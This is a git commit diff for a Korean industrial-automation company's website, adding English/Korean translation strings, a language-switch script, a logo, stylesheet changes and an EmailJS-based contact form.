항목수정 및 언어버튼 가시성 수정

This commit is contained in:
Wind
2026-02-17 11:36:09 +09:00
parent b288a964d1
commit fd51c36120
30 changed files with 4227 additions and 345 deletions

View File

@@ -1,14 +1,11 @@
/* 기본 스타일 */
:root { :root {
scroll-behavior: smooth; scroll-behavior: smooth;
} }
body { body {
font-family: 'Plus Jakarta Sans', sans-serif; font-family: 'Plus Jakarta Sans', sans-serif;
background-color: #f8fafc; background-color: #f8fafc;
color: #0f172a; color: #0f172a;
} }
.font-industrial { font-family: 'Space Grotesk', sans-serif; } .font-industrial { font-family: 'Space Grotesk', sans-serif; }
.font-premium { font-family: 'Plus Jakarta Sans', sans-serif; } .font-premium { font-family: 'Plus Jakarta Sans', sans-serif; }
@@ -18,6 +15,13 @@ body {
border-bottom: 1px solid rgba(255, 255, 255, 0.1); border-bottom: 1px solid rgba(255, 255, 255, 0.1);
} }
/* Premium Typography Styles */
.premium-kerning { letter-spacing: -0.04em; }
.industrial-tracking { letter-spacing: 0.15em; }
.hero-title {
line-height: 1.05;
}
/* Animations */ /* Animations */
@keyframes fadeIn { @keyframes fadeIn {
from { opacity: 0; transform: translateY(20px); } from { opacity: 0; transform: translateY(20px); }
@@ -29,30 +33,21 @@ body {
.no-scrollbar::-webkit-scrollbar { display: none; } .no-scrollbar::-webkit-scrollbar { display: none; }
.no-scrollbar { -ms-overflow-style: none; scrollbar-width: none; } .no-scrollbar { -ms-overflow-style: none; scrollbar-width: none; }
/* 서비스 카드 이미지 hover */
.service-card:hover .service-image { .service-card:hover .service-image {
transform: scale(1.1); transform: scale(1.1);
filter: grayscale(0); filter: grayscale(0);
} }
/* ==================== 이미지 보호 레이어 ==================== */ /* ── 언어 전환 버튼 ───────────────────────────────────────── */
.img-protect-wrapper { .lang-btn {
position: relative; background: transparent;
display: inline-block; opacity: 0.5;
transition: all 0.2s;
} }
.lang-btn:hover {
.img-protect-wrapper img { opacity: 0.8;
display: block;
} }
.lang-btn.active-lang {
.img-protect-wrapper .img-overlay { background: #2563eb;
position: absolute; opacity: 1;
top: 0;
left: 0;
width: 100%;
height: 100%;
cursor: default;
z-index: 10;
user-select: none;
-webkit-user-drag: none;
} }

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.2 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.5 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 521 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 190 KiB

View File

@@ -0,0 +1,3 @@
<svg width="153" height="28" viewBox="0 0 153 28" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M12.1958 0.0376587H19.0741V21.8852H12.1958V11.9031H6.86567V21.948H0.0380859V0.0376587H6.90374V9.15336H12.2338L12.1958 0.0376587ZM38.1863 9.5677C38.7946 10.7403 39.1534 12.0238 39.2408 13.339C39.3281 14.6542 39.1419 15.9731 38.6939 17.2143C38.0334 19.088 36.6704 20.6389 34.8867 21.5462C33.3694 22.2242 31.7157 22.5505 30.0515 22.5004C28.0303 22.5744 26.0381 22.0069 24.3661 20.8807C22.8654 19.8031 21.7783 18.2539 21.2823 16.4861C20.9055 15.1998 20.8182 13.8475 21.0265 12.5242C21.2348 11.2009 21.7336 9.9389 22.4879 8.8269C23.1494 7.94476 23.9835 7.20335 24.9406 6.64681C25.8978 6.09028 26.9583 5.73 28.0591 5.58744C28.6483 5.47201 29.2479 5.41731 29.8485 5.42421C31.2007 5.36704 32.5518 5.55862 33.8334 5.98923C35.6886 6.57531 37.2464 7.84244 38.1863 9.53004V9.5677ZM32.3866 11.765C32.4008 10.879 32.2679 9.99675 31.9932 9.15336C31.6633 8.33721 31.0795 7.42062 30.0896 7.42062H29.747C29.214 7.52107 28.719 8.07353 28.2495 9.06546C27.8691 10.3994 27.7316 11.7897 27.8434 13.1713C27.8434 13.7112 27.8434 14.3013 27.8434 14.9291C27.8434 17.8045 28.0464 18.696 28.6809 19.5874C28.8163 19.8179 28.9994 20.0176 29.218 20.1734C29.4367 20.3291 29.6861 20.4375 29.95 20.4915C30.1555 20.5128 30.3633 20.4914 30.5599 20.4287C30.7566 20.366 30.9379 20.2633 31.0922 20.1273C31.8718 19.2543 32.3205 18.1401 32.3612 16.9758C32.412 16.4484 32.412 13.8493 32.3866 11.7273V11.765ZM55.4456 6.01434C54.5147 5.64739 53.5164 5.47789 52.5152 5.51682C51.5139 5.55575 50.5321 5.80225 49.6333 6.24035C48.7844 6.70525 48.0448 7.34288 47.4631 8.1112V5.91389H41.1178V21.8852H47.4631V10.409C47.8319 9.72798 48.4035 9.17567 49.1002 8.8269C49.4547 8.63076 49.8616 8.54725 50.2657 8.58768C50.6698 8.62811 51.0516 8.79052 51.3592 9.05291C51.732 9.53331 51.9168 10.1308 51.8795 10.7354V21.8852H58.1614V9.73093C58.114 8.91506 57.8337 8.12922 57.353 7.46468C56.8723 6.80014 56.2109 6.28416 55.4456 5.97667V6.01434ZM77.2228 9.70582C77.981 11.3319 78.3294 13.1156 78.238 14.904H66.8164V18.1435C66.8777 18.4973 67.0023 18.8375 67.1845 19.148C67.451 19.487 68.3647 20.8179 71.4739 20.3282C74.9258 19.7883 74.8369 17.3399 74.9004 17.3399H77.6289C77.5816 18.3459 77.1667 19.3008 76.4613 20.0269C74.9693 21.3481 73.0965 22.1736 71.1059 22.3874C69.716 22.6346 68.2899 22.6008 66.9137 22.2879C65.5374 21.975 64.2394 21.3895 63.0981 20.5668C61.8901 19.5757 60.9849 18.2714 60.4838 16.8C59.7882 14.4682 59.987 11.9643 61.0422 9.7686C61.8924 8.32351 63.1416 7.14836 64.6432 6.38107C66.1447 5.61378 67.8364 5.2862 69.5195 5.43676C73.5298 5.58743 75.8141 7.01883 77.2228 9.66815V9.70582ZM71.6135 11.3381C71.6175 10.6363 71.5366 9.93655 71.3724 9.2538C71.2274 8.71848 70.9379 8.23232 70.5348 7.84752C70.2297 7.55511 69.8361 7.36975 69.4143 7.31985C68.9926 7.26996 68.5659 7.35829 68.1997 7.57129C67.5673 8.10426 67.1486 8.84365 67.0195 9.6556C66.9042 10.6306 66.8576 11.6123 66.8799 12.5937H71.6135C71.6008 12.443 71.6008 12.0789 71.6135 11.3381ZM135.143 9.69327C135.899 11.3193 136.239 13.1046 136.133 14.8915H124.787V18.1309C124.849 18.4865 124.978 18.8273 125.168 19.1354C125.422 19.4744 126.348 20.8054 129.458 20.3157C132.909 19.7758 132.808 17.3273 132.884 17.3273H135.613C135.559 18.3318 135.145 19.2845 134.445 20.0143C132.946 21.3542 131.059 22.1932 129.052 22.4125C126.805 22.6386 123.62 22.7013 121.056 20.5919C119.845 19.6011 118.936 18.2971 118.429 16.8251C117.734 14.4933 117.933 11.9894 118.988 9.79371C119.838 8.34863 121.087 7.17347 122.589 6.40618C124.09 5.63889 125.782 5.31131 127.465 5.46187C131.45 5.58743 133.734 7.01883 135.143 9.66815V9.69327ZM129.483 11.3381C129.492 10.6353 129.406 9.93447 129.229 9.2538C129.083 8.71607 128.789 8.22916 128.379 7.84752C128.066 7.5777 127.672 7.41588 127.258 7.38644C126.844 7.357 126.431 7.46153 126.082 7.6843C125.449 8.21727 125.031 8.95665 124.902 9.7686C124.781 10.7389 124.734 11.7169 124.762 12.6942H129.483C129.483 12.443 129.483 12.0789 129.483 11.3381ZM115.523 5.91389L113.074 14.8664L110.345 5.91389H104.749L102.211 14.8664L99.4061 5.91389H90.751L87.6038 13.5229L84.6341 5.91389H77.6796L84.1138 22.2368C84.0938 22.4457 84.0513 22.652 83.9869 22.852C83.7096 23.7546 83.2425 24.589 82.6163 25.3004C82.4192 25.5316 82.1644 25.7077 81.8772 25.8112C81.59 25.9148 81.2804 25.9421 80.9792 25.8906C81.2053 25.6767 81.3865 25.4206 81.5122 25.1372C81.6861 24.4681 81.5953 23.7585 81.2584 23.1534C80.9553 22.697 80.5101 22.3508 79.9903 22.1673C79.4704 21.9837 78.9043 21.9729 78.3776 22.1363C77.7125 22.2812 77.1309 22.6772 76.7564 23.24C76.3819 23.8029 76.2442 24.488 76.3725 25.1498C76.5248 26.4054 77.3878 27.5731 79.5325 27.9498C80.3689 28.1157 81.2341 28.0703 82.0481 27.818C82.8622 27.5656 83.5988 27.1143 84.19 26.5058C85.1381 25.395 85.8658 24.117 86.3347 22.739L93.048 6.41613L97.8198 21.8852H103.213L105.751 12.6188L108.67 21.8852H113.912L118.353 5.91389H115.523ZM138.036 21.8852H144.153V0.0376587H138.036V21.8852ZM146.057 0.0376587V21.8852H152.174V0.0376587H146.057Z" fill="#D22630"/>
</svg>

After

Width:  |  Height:  |  Size: 4.9 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 338 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 MiB

View File

@@ -0,0 +1,346 @@
// ============================================================
// 다국어 지원 (한국어 / 영어)
// ============================================================
const translations = {
en: {
// NAV
'nav.home' : 'Home',
'nav.dcs' : 'DCS',
'nav.batch' : 'Batch Process',
'nav.dbsvr' : 'Database Server',
'nav.products' : 'Instruments',
'nav.services' : 'References',
'nav.about' : 'About',
'nav.contact' : 'Contact',
'nav.quote' : 'Request Quote',
// HERO
'hero.badge' : 'Precision Industrial Control',
'hero.title' : 'Engineering <span class="text-blue-500 font-normal">Precision</span> <br class="hidden md:block"/> Industrial Control',
'hero.desc' : 'Hanmo Control & Network Co., Ltd. provides elite-tier DCS and SCADA architectures for critical infrastructure and modern digital transformation.',
'hero.btn1' : 'Explore Expertise',
'hero.btn2' : 'Consultation',
'stat.nodes' : 'Reference Projects',
'stat.uptime' : 'Downtime',
'stat.engineers': 'Partners',
'stat.years' : 'Years Excellence',
// DCS
'dcs.badge' : 'Advanced Control Systems',
'dcs.title' : 'DCS Integration',
'dcs.desc' : 'Enterprise-grade Distributed Control System architecture designed for the most critical industrial applications.',
'dcs.f0.title' : 'Honeywell Experion PKS',
'dcs.f0.desc' : 'Reliable DCS solutions with Honeywell\'s Experion PKS, ensuring seamless integration and optimal performance',
'dcs.f1.title' : 'Redundant Architecture',
'dcs.f1.desc' : 'Fault-tolerant systems with dual processing units ensuring 99.99% uptime',
'dcs.f2.title' : 'Real-time Communication',
'dcs.f2.desc' : 'Sub-millisecond response times with synchronized control across multiple nodes',
'dcs.f3.title' : 'Security Certified',
'dcs.f3.desc' : 'IEC 62443 compliance with military-grade encryption protocols',
'dcs.btn' : 'Request Technical Specs',
// BATCH
'batch.badge' : 'Process Automation',
'batch.title' : 'Batch Process Control',
'batch.desc' : 'Not only precision control, but also production planning, process data & historical lot management, you can get it by our Batch Manager software.',
'batch.f1.title': 'Batch Manager Software',
'batch.f1.desc' : 'Process control data and production data management per lot no. in a software platform',
'batch.f2.title': 'ControlEdge HC900',
'batch.f2.desc' : 'Over the PLC for continuous and batch process control, Hybrid Controller from Honeywell. it is perfect solution of batch plant',
'batch.f3.title': 'Process Data Management',
'batch.f3.desc' : 'Setpoint scheduling & recipe for various products, lot management with single mouse click',
'batch.f4.title': 'Quick Production Setup',
'batch.f4.desc' : 'Real-time batch tracking with predictive quality monitoring',
'batch.f5.title': 'Easy Historical Tracking',
'batch.f5.desc' : 'FDA 21 CFR Part 11 compliance and complete data integrity',
'batch.btn' : 'Start Implementation',
// DBSVR
'db.badge' : 'Data Infrastructure',
'db.title' : 'Database Server Solutions',
'db.desc' : 'Mission-critical historian and data management infrastructure for continuous industrial operations.',
'db.c1.title' : 'High-Performance Historian',
'db.c1.desc' : 'SQL Server-based architecture optimized for 1M+ data points per second with sub-second query response',
'db.c2.title' : 'Disaster Recovery',
'db.c2.desc' : 'Geo-redundant replication with RTO < 15 minutes and RPO < 5 minutes',
'db.c3.title' : 'Security & Compliance',
'db.c3.desc' : 'Role-based access control, encryption at rest/transit, and full audit logging',
'db.btn' : 'Get Infrastructure Consultation',
// INSTRUMENTS
'inst.badge' : 'Precision Measurement',
'inst.title' : 'Control Instruments',
'inst.desc' : 'Smart field instruments engineered for accuracy and reliability in demanding industrial environments.',
'inst.i1.title' : 'Flow Transmitters',
'inst.i1.desc' : 'Magnetic, Coriolis, and vortex flow meters with ±0.5% accuracy',
'inst.i2.title' : 'Pressure Transmitters',
'inst.i2.desc' : 'Differential and absolute pressure sensors for ultra-high sensitivity',
'inst.i3.title' : 'Temperature Sensors',
'inst.i3.desc' : 'RTD, thermocouple, and infrared temperature measurement',
'inst.i4.title' : 'Level Transmitters',
'inst.i4.desc' : 'Ultrasonic, radar, and capacitive level sensors',
'inst.i5.title' : 'Analytical Sensors',
'inst.i5.desc' : 'pH, conductivity, oxygen, and dissolved gas analyzers',
'inst.i6.title' : 'Control Valves',
'inst.i6.desc' : 'Smart positioners with HART communication',
'inst.i7.title' : 'Vibration Monitors',
'inst.i7.desc' : 'Accelerometers and velocity sensors for predictive maintenance',
'inst.i8.title' : 'Smart Data Loggers',
'inst.i8.desc' : 'IoT-enabled data acquisition units with cloud connectivity',
'inst.custom.title' : 'Custom Integration Available',
'inst.custom.desc' : 'All instruments integrate seamlessly with our DCS and SCADA platforms. Custom configurations available for specialized applications.',
'inst.custom.btn' : 'Request Custom Configuration',
'inst.quote' : 'Get Quote →',
// REFERENCES
'svc.badge' : 'Referenced Plant Varieties',
'svc.title' : 'Versatile Automation References',
'svc.desc' : 'From Deep Understanding of various industry references to Seamless Execution.',
'svc.s1.title' : 'DCS / SCADA',
'svc.s1.desc' : 'Semiconductor Solvent Recovery Plant., 80% Hydrazin Plant, SNCR & SCR Envirionmental Plant, etc',
'svc.s1.item1' : 'Semiconductor Solvent Recovery Plant',
'svc.s1.item2' : '80% Hydrazin Plant',
'svc.s1.item3' : 'SNCR & SCR in Power Plant',
'svc.s1.item4' : 'Oil Tank Terminal',
'svc.s1.link' : 'Learn More',
'svc.s2.title' : 'Batch Plant',
'svc.s2.desc' : 'Real-time monitoring platforms with advanced HMI and secure remote access protocols.',
'svc.s2.item1' : 'Micro Capsule forming agent plant',
'svc.s2.item2' : 'ADCA,HDCA Plant',
'svc.s2.item3' : 'Vacuum Furnace Plant - Decorative Stainless Plate',
'svc.s2.link' : 'Case Studies',
'svc.s3.title' : 'Other Projects',
'svc.s3.desc' : 'Various industrial automation projects.',
'svc.s3.item1' : 'Waste to Energy Incineration Plant',
'svc.s3.item2' : 'Copper Rod Continuous Casting Plant',
'svc.s3.item3' : 'Bearing Continuous Heat Treatment Plant',
'svc.s3.item4' : 'High Speed Cold Rolling Continuous Casting Plant',
'svc.s3.link' : 'CASE STUDIES',
'svc.s4.title' : 'Instruments',
'svc.s4.desc' : 'Smart field sensors for flow, pressure, and temperature with high-accuracy calibration.',
'svc.s4.item1' : 'Honeywell',
'svc.s4.item2' : 'Azbil',
'svc.s4.item3' : 'Endress Hauser',
'svc.s4.item4' : 'Flownics',
'svc.s4.item5' : 'Komoto - (Motoyama Korea)',
'svc.s4.item6' : 'Autonics - (Konics)',
'svc.s4.link' : 'Product Catalog',
// ABOUT
'about.badge' : 'About Hanmo',
'about.title' : 'Trusted Partner in Industrial Automation',
'about.p1' : 'Since our founding, Hanmo Control & Network Co., Ltd. has been at the forefront of industrial automation engineering. We specialize in designing, implementing, and maintaining mission-critical control systems for the world\'s most demanding industries.',
'about.p2' : 'Our certified engineers brings decades of combined experience in DCS, SCADA, instrumentation and industrial networking, ensuring your operations run with unmatched precision and reliability.',
'about.cert' : 'Certified',
'about.support' : 'Support',
'about.years' : 'Years of Industrial Excellence',
// CONTACT
'contact.badge' : 'Get In Touch',
'contact.title' : 'Start Your Project',
'contact.desc' : 'Contact our engineering team for a detailed consultation and project assessment.',
'contact.name' : 'Full Name',
'contact.email' : 'Email Address',
'contact.company': 'Company Name',
'contact.msg' : 'Describe your project requirements...',
'contact.btn' : 'Send Message',
'contact.sending': 'Sending...',
'contact.success': '✅ Message sent successfully. We will get back to you shortly.',
'contact.error.required': '⚠ Name, email, and message are required.',
'contact.error.email' : '⚠ Please enter a valid email address.',
'contact.error.fail' : '❌ Failed to send. Please try again later.',
// FOOTER
'footer.copy' : '© 2024 Hanmo Control & Network Co., Ltd. All rights reserved.',
},
ko: {
// NAV
'nav.home' : '홈',
'nav.dcs' : 'DCS',
'nav.batch' : '배치 프로세스',
'nav.dbsvr' : '데이터베이스 서버',
'nav.products' : '계측기기',
'nav.services' : '실적 플랜트 분야',
'nav.about' : '회사소개',
'nav.contact' : '문의하기',
'nav.quote' : '견적 요청',
// HERO
'hero.badge' : '정밀 공정 제어 시스템',
'hero.title' : '<span class="text-blue-500 font-normal">정밀함</span>을 설계하는<br class="hidden md:block"/> 공정 제어 전문기업',
'hero.desc' : '(주)한모씨앤앤은 핵심 인프라와 디지털 전환을 위한 최고 수준의 DCS 및 SCADA BATCH CONTROL 시스템을 제공합니다.',
'hero.btn1' : '전문 분야 보기',
'hero.btn2' : '상담 신청',
'stat.nodes' : '프로젝트 실적',
'stat.uptime' : '시스템 가동률',
'stat.engineers': '파트너사',
'stat.years' : '년 업계 경력',
// DCS
'dcs.badge' : '공정 제어 시스템',
'dcs.title' : 'DCS 통합 솔루션',
'dcs.desc' : '중요한 공정 현장을 위한 엔터프라이즈급 분산 제어 시스템(DCS) 아키텍처를 설계합니다.',
'dcs.f0.title' : 'Honeywell Experion',
'dcs.f0.desc' : 'Honeywell Experion 플랫폼을 기반으로 한 안정적이고 다양한 DCS 솔루션을 제공합니다.',
'dcs.f1.title' : '이중화 아키텍처',
'dcs.f1.desc' : '이중화 서버 & 컨트롤러,통신으로 99.99% 가동률을 보장하는 내결함성 시스템',
'dcs.f2.title' : '실시간 통신',
'dcs.f2.desc' : '밀리초 미만의 응답 시간으로 다중 노드 간 동기화된 제어 실현',
'dcs.f3.title' : '보안 인증',
'dcs.f3.desc' : 'IEC 62443 준수 및 군사 수준 암호화 프로토콜 적용',
'dcs.btn' : '기술 사양 요청',
// BATCH
'batch.badge' : '배치 프로세스 자동화',
'batch.title' : '배치 프로세스 제어',
'batch.desc' : '배치 프로세스 자동화는 생산 제품의 다양성을 위한 정밀제어 및 제품별 설정 데이터 생성 및 관리, 생산 로트 이력관리가 하나의 시스템에서 실현됩니다. 반응기, 산업로(배치,연속 혼재공정) 등의 배치 플랜트에 최적화된 제어 시스템과 소프트웨어 솔루션을 제공합니다.',
'batch.f1.title': '배치 매니저 소프트웨어',
'batch.f1.desc' : '제품별 설정값 패턴 ,레시피, 로트관리 등의 제어와 생산 데이터베이스가 하나의 시스템에서 제공됩니다',
'batch.f2.title': 'ControlEdge HC900',
'batch.f2.desc' : '설정값 패턴 프로그램, 레시피, 정밀 PID 제어, PLC를 넘어서는 하이브리드 컨트롤러로 배치 플랜트에 최적화된 솔루션',
'batch.f3.title': 'MES,ERP 연동',
'batch.f3.desc' : '자사 데이터베이스 서버를 통한, 손쉬운 MES, ERP 연동으로 생산 스케쥴 관리 지원 가능',
'batch.f4.title': '신속한 운전 설정',
'batch.f4.desc' : '단 한번의 다운로드로, 제품별 생산 환경 설정이 초단위로 완료됩니다',
'batch.f5.title': '생산 로트 이력 관리',
'batch.f5.desc' : '생산 로트 관리 및 로트별 차트 그래프를 제공하여 이력 데이터 분석에 탁월.',
'batch.btn' : '구축 상담 신청',
// DBSVR
'db.badge' : '데이터 인프라',
'db.title' : '데이터베이스 서버 솔루션',
'db.desc' : '지속적인 공정 운영을 위한 미션 크리티컬 히스토리안 및 데이터 관리 인프라를 제공합니다.',
'db.c1.title' : '고성능 히스토리안',
'db.c1.desc' : '초당 100만+ 데이터 포인트를 처리하는 SQL Server 기반 아키텍처',
'db.c2.title' : '재해 복구',
'db.c2.desc' : 'RTO 15분 미만, RPO 5분 미만의 지역 이중화 복제 시스템',
'db.c3.title' : '보안 및 컴플라이언스',
'db.c3.desc' : '역할 기반 접근 제어, 저장/전송 암호화 및 완전한 감사 로깅',
'db.btn' : '인프라 상담 신청',
// INSTRUMENTS
'inst.badge' : '정밀 계측',
'inst.title' : '계측 제어 기기',
'inst.desc' : '가혹한 공정 환경에서도 정확성과 신뢰성을 발휘하는 스마트 현장 계측기기를 공급합니다.',
'inst.i1.title' : '유량 변환기',
'inst.i1.desc' : '±0.1% 정확도의 코리올리 질량 유량계, 마그네틱, 볼텍스 유량계',
'inst.i2.title' : '압력 트랜스미터',
'inst.i2.desc' : '초고감도 차압 및 절대압, 리모트실 트랜스미터',
'inst.i3.title' : '온도 센서',
'inst.i3.desc' : 'RTD, 열전대, 적외선 온도 측정기',
'inst.i4.title' : '레벨 트랜스미터',
'inst.i4.desc' : '초음파, 레이더, 정전용량식 레벨 트랜스미터',
'inst.i5.title' : '분석 센서',
'inst.i5.desc' : 'pH, 전도도, 산소, 용존 가스 분석기',
'inst.i6.title' : '컨트롤 밸브',
'inst.i6.desc' : 'HART 통신 지원 스마트 포지셔너',
'inst.i7.title' : '진동 모니터',
'inst.i7.desc' : '예측 유지보수를 위한 가속도계 및 속도 센서',
'inst.i8.title' : '스마트 데이터 로거',
'inst.i8.desc' : '클라우드 연결 기능을 갖춘 IoT 데이터 수집 장치',
'inst.custom.title' : '맞춤형 통합 솔루션 제공',
'inst.custom.desc' : '모든 계측기기는 당사의 DCS 및 SCADA 플랫폼과 원활하게 통합됩니다. 특수 응용 분야에 맞는 커스텀 구성이 가능합니다.',
'inst.custom.btn' : '맞춤 구성 요청',
'inst.quote' : '견적 요청 →',
// REFERENCES
'svc.badge' : '실적 플랜트 분야',
'svc.title' : '다양한 산업 분야의 자동화 실적',
'svc.desc' : '공정에 대한 깊이있는 이해와 경험을 바탕으로 복잡한 공정을 위한 특화된 엔지니어링을 제공합니다.',
'svc.s1.title' : 'DCS / SCADA',
'svc.s1.desc' : '반도체용 솔벤트 회수 플랜트, 발전소, 화학 플랜트 등 대규모 공정을 위한 이중화 제어 아키텍처',
'svc.s1.item1' : '반도체용 솔벤트 회수 플랜트',
'svc.s1.item2' : '80% 하이드라진 플랜트',
'svc.s1.item3' : '발전소 SNCR & SCR 플랜트',
'svc.s1.item4' : '오일 탱크 터미널 플랜트',
'svc.s1.link' : '자세히 보기',
'svc.s2.title' : '배치 플랜트',
'svc.s2.desc' : '실시간 모니터링 플랫폼과 고급 HMI, 안전한 원격 액세스 프로토콜을 갖춘 배치 플랜트 제어 시스템',
'svc.s2.item1' : '마이크로 캡슐 발포제 플랜트',
'svc.s2.item2' : 'ADCA,HDCA 플랜트',
'svc.s2.item3' : '진공 열처리로 플랜트',
'svc.s2.link' : '사례 연구',
'svc.s3.title' : '기타 프로젝트',
'svc.s3.desc' : '기타 핵심 산업 자동화',
'svc.s3.item1' : '쓰레기 소각장 플랜트',
'svc.s3.item2' : '구리 환재 연속 주조로',
'svc.s3.item3' : '베어링 연속 열처리로 플랜트',
'svc.s3.item4' : '고속 냉간 연속 주조로 플랜트',
'svc.s3.link' : '데이터 보안',
'svc.s4.title' : '제어 계측기기 협력사',
'svc.s4.desc' : '고객 현장에 대한 깊은 이해를 바탕으로 최적 계측기 선정',
'svc.s4.item1' : '한국하니웰(주)',
'svc.s4.item2' : '한국아즈빌(주)',
'svc.s4.item3' : '엔드레스하우저',
'svc.s4.item4' : '플로우닉스(주)',
'svc.s4.item5' : '(주)코모토',
'svc.s4.item6' : '오토닉스(주)',
'svc.s4.link' : '제품 카탈로그',
// ABOUT
'about.badge' : '회사 소개',
'about.title' : '공정 자동화의 신뢰할 수 있는 파트너',
'about.p1' : '(주)한모씨앤앤는 창립 이래 공정 자동화 엔지니어링의 최전선에서 활동하고 있습니다. 세계에서 가장 까다로운 공정 현장을 위한 미션 크리티컬 제어 시스템 설계, 구현 및 유지보수를 전문으로 합니다.',
'about.p2' : 'DCS, SCADA, 계측기기, 공정 네트워킹 분야에서 수십 년의 경험을 바탕으로 최고의 정밀도와 신뢰성을 보장합니다.',
'about.cert' : '인증',
'about.support' : '지원',
'about.years' : '여년간의 공정 제어 전문성',
// CONTACT
'contact.badge' : '문의하기',
'contact.title' : '프로젝트를 시작하세요',
'contact.desc' : '엔지니어링 팀에 문의하여 상세 상담 및 프로젝트 평가를 받아보세요.',
'contact.name' : '성명',
'contact.email' : '이메일 주소',
'contact.company': '회사명',
'contact.msg' : '프로젝트 요구사항을 설명해 주세요...',
'contact.btn' : '메시지 보내기',
'contact.sending': '전송 중...',
'contact.success': '✅ 메시지가 성공적으로 전송되었습니다. 빠른 시일 내에 회신 드리겠습니다.',
'contact.error.required': '⚠ 이름, 이메일, 메시지는 필수 항목입니다.',
'contact.error.email' : '⚠ 올바른 이메일 주소를 입력해 주세요.',
'contact.error.fail' : '❌ 전송에 실패했습니다. 잠시 후 다시 시도해 주세요.',
// FOOTER
'footer.copy' : '© (주)한모씨앤앤. All rights reserved.',
}
};
// ── 현재 언어 (로컬스토리지 유지) ──────────────────────────
let currentLang = localStorage.getItem('hmLang') || 'en';
function t(key) {
return translations[currentLang][key] || translations['en'][key] || key;
}
function applyTranslations() {
document.querySelectorAll('[data-i18n]').forEach(el => {
const key = el.getAttribute('data-i18n');
const type = el.getAttribute('data-i18n-type') || 'text';
if (type === 'html') {
el.innerHTML = t(key);
} else if (type === 'placeholder') {
el.setAttribute('placeholder', t(key));
} else {
el.textContent = t(key);
}
});
// <html lang> 업데이트
document.documentElement.lang = currentLang;
// 버튼 활성 상태 업데이트
document.querySelectorAll('.lang-btn').forEach(btn => {
btn.classList.toggle('active-lang', btn.dataset.lang === currentLang);
});
}
function switchLang(lang) {
currentLang = lang;
localStorage.setItem('hmLang', lang);
applyTranslations();
}
document.addEventListener('DOMContentLoaded', applyTranslations);

View File

@@ -0,0 +1,89 @@
// ============================================================
// ★ EmailJS 설정 - 아래 3가지 값을 본인 계정으로 교체하세요 ★
// ============================================================
const EMAILJS_PUBLIC_KEY = 'HO6i369gX6X5HEXtJ';
const EMAILJS_SERVICE_ID = 'service_4ur5lqd';
const EMAILJS_TEMPLATE_ID = 'template_jp0v5qv';
// ============================================================
emailjs.init(EMAILJS_PUBLIC_KEY);
// ── Contact Form ─────────────────────────────────────────────
document.getElementById('contact-submit').addEventListener('click', function () {
const name = document.getElementById('contact-name').value.trim();
const email = document.getElementById('contact-email').value.trim();
const company = document.getElementById('contact-company').value.trim();
const message = document.getElementById('contact-message').value.trim();
const btn = document.getElementById('contact-submit');
if (!name || !email || !message) {
showStatus('error', t('contact.error.required')); return;
}
if (!/^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(email)) {
showStatus('error', t('contact.error.email')); return;
}
btn.disabled = true;
btn.textContent = t('contact.sending');
const templateParams = {
name : name,
message : 'Email : ' + email + '\nCompany : ' + (company || 'N/A') + '\n\n' + message,
reply_to : email
};
emailjs.send(EMAILJS_SERVICE_ID, EMAILJS_TEMPLATE_ID, templateParams)
.then(function () {
showStatus('success', t('contact.success'));
document.getElementById('contact-name').value = '';
document.getElementById('contact-email').value = '';
document.getElementById('contact-company').value = '';
document.getElementById('contact-message').value = '';
})
.catch(function (error) {
console.error('EmailJS error:', error);
showStatus('error', t('contact.error.fail'));
})
.finally(function () {
btn.disabled = false;
btn.textContent = t('contact.btn');
});
});
function showStatus(type, msg) {
const status = document.getElementById('contact-status');
status.classList.remove('hidden', 'bg-green-500/20', 'text-green-400', 'bg-red-500/20', 'text-red-400');
status.classList.add(type === 'success' ? 'bg-green-500/20' : 'bg-red-500/20',
type === 'success' ? 'text-green-400' : 'text-red-400');
status.textContent = msg;
}
// ── Header scroll ────────────────────────────────────────────
const mainHeader = document.getElementById('main-header');
const brandName = document.getElementById('brand-name');
const navLinks = document.querySelectorAll('.nav-link');
window.addEventListener('scroll', () => {
if (window.scrollY > 50) {
mainHeader.classList.add('glass-effect', 'py-3');
mainHeader.classList.remove('py-6');
if (brandName) brandName.classList.replace('text-white', 'text-slate-900');
navLinks.forEach(link => link.classList.replace('text-slate-100', 'text-slate-700'));
} else {
mainHeader.classList.remove('glass-effect', 'py-3');
mainHeader.classList.add('py-6');
if (brandName) brandName.classList.replace('text-slate-900', 'text-white');
navLinks.forEach(link => link.classList.replace('text-slate-700', 'text-slate-100'));
}
});
// ── Mobile menu ───────────────────────────────────────────────
const mobileMenuBtn = document.getElementById('mobile-menu-btn');
const mobileMenu = document.getElementById('mobile-menu');
const closeMenuBtn = document.getElementById('close-menu-btn');
if (mobileMenuBtn) mobileMenuBtn.addEventListener('click', () => mobileMenu.classList.remove('translate-x-full'));
if (closeMenuBtn) closeMenuBtn.addEventListener('click', () => mobileMenu.classList.add('translate-x-full'));
const mobileNavLinks = mobileMenu ? mobileMenu.querySelectorAll('a') : [];
mobileNavLinks.forEach(link => link.addEventListener('click', () => mobileMenu.classList.add('translate-x-full')));

View File

@@ -7,62 +7,21 @@
<script src="https://cdn.tailwindcss.com"></script> <script src="https://cdn.tailwindcss.com"></script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
<link href="https://fonts.googleapis.com/css2?family=Plus+Jakarta+Sans:wght@200;300;400;500;600;700&family=Space+Grotesk:wght@300;400;500;600;700&display=swap" rel="stylesheet"> <link href="https://fonts.googleapis.com/css2?family=Plus+Jakarta+Sans:wght@200;300;400;500;600;700&family=Space+Grotesk:wght@300;400;500;600;700&display=swap" rel="stylesheet">
<style> <link rel="stylesheet" href="assets/css/style.css">
:root { <link rel="icon" type="image/x-icon" href="assets/images/favicon.ico">
scroll-behavior: smooth;
}
body {
font-family: 'Plus Jakarta Sans', sans-serif;
background-color: #f8fafc;
color: #0f172a;
}
.font-industrial { font-family: 'Space Grotesk', sans-serif; }
.font-premium { font-family: 'Plus Jakarta Sans', sans-serif; }
.glass-effect {
